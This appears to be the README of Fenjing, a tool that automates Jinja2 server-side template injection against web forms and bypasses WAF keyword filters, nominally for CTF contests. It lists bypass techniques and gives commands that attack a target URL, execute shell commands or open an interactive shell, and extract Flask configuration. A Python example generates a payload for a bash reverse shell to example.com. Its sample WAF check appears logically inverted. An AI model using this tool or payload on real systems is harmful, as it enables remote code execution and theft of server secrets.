一个类似SQLMap的Jinja2 SSTI利用脚本 | A SQLMap-like Jinja2 SSTI cracker
Bypass the WAF without knowing WAF
焚靖是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口。
在以下方法中选择一种
pip install fenjing
python -m fenjing webui
docker pull marven11/fenjing
docker run --net host -it marven11/fenjing webui
git clone https://github.com/Marven11/Fenjing
cd Fenjing
python -m pip install -r requirements.txt
python -m fenjing webui
docker build -t fenjing .
docker run -it --net host fenjing webui
支持绕过:
'
和"
_
[
+
-
~
{{
支持绕过0-9的同时绕过加号或减号
支持全角数字和特定数字相加减两种绕过方式
'%c'
绕过:支持绕过引号,g
和lipsum
支持(lipsum|escape|batch(22)|list|first|last)
支持绕过引号,任意字符串拼接符号,下划线和任意关键词
支持以下形式
'str'
"str"
"\x61\x61\x61"
dict(__class__=cycler)|join
'%c'*3%(97,97, 97)
'%c'
也支持上面的'%c'
绕过['aaa']
.aaa
|attr('aaa')
['aaa']
.aaa
.__getitem__('aaa')
__getitem__
支持上面的属性绕过python -m fenjing scan --url 'http://xxx/'
python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
Usage: python -m fenjing scan [OPTIONS]
Options:
-u, --url TEXT 需要扫描的URL
-e, --exec-cmd TEXT 成功后执行的shell指令,不填则进入交互模式
--interval FLOAT 每次请求的间隔
--user-agent TEXT 请求时使用的User Agent
--help Show this message and exit.
Usage: python -m fenjing crack [OPTIONS]
Options:
-u, --url TEXT form所在的URL
-a, --action TEXT form的action,默认为当前路径
-m, --method TEXT form的提交方式,默认为POST
-i, --inputs TEXT form的参数,以逗号分隔
-e, --exec-cmd TEXT 成功后执行的shell指令,不填则成功后进入交互模式
--interval FLOAT 每次请求的间隔
--user-agent TEXT 请求时使用的User Agent
--help Show this message and exit.
Usage: python -m fenjing get-config [OPTIONS]
攻击指定的表单,并获得目标服务器的flask config
Options:
-u, --url TEXT form所在的URL
-a, --action TEXT form的action,默认为当前路径
-m, --method TEXT form的提交方式,默认为POST
-i, --inputs TEXT form的参数,以逗号分隔
--interval FLOAT 每次请求的间隔
--user-agent TEXT 请求时使用的User Agent
--help Show this message and exit.
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str):
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
"[", '"', "'", "_", ".", "+", "~", "{{",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"0","1","2","3","4","5","6","7","8","9"
]
return all(word in s for word in blacklist)
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
config_payload = config_payload(waf)
print(f"{shell_payload=}")
print(f"{config_payload=}")
其他使用例可以看这里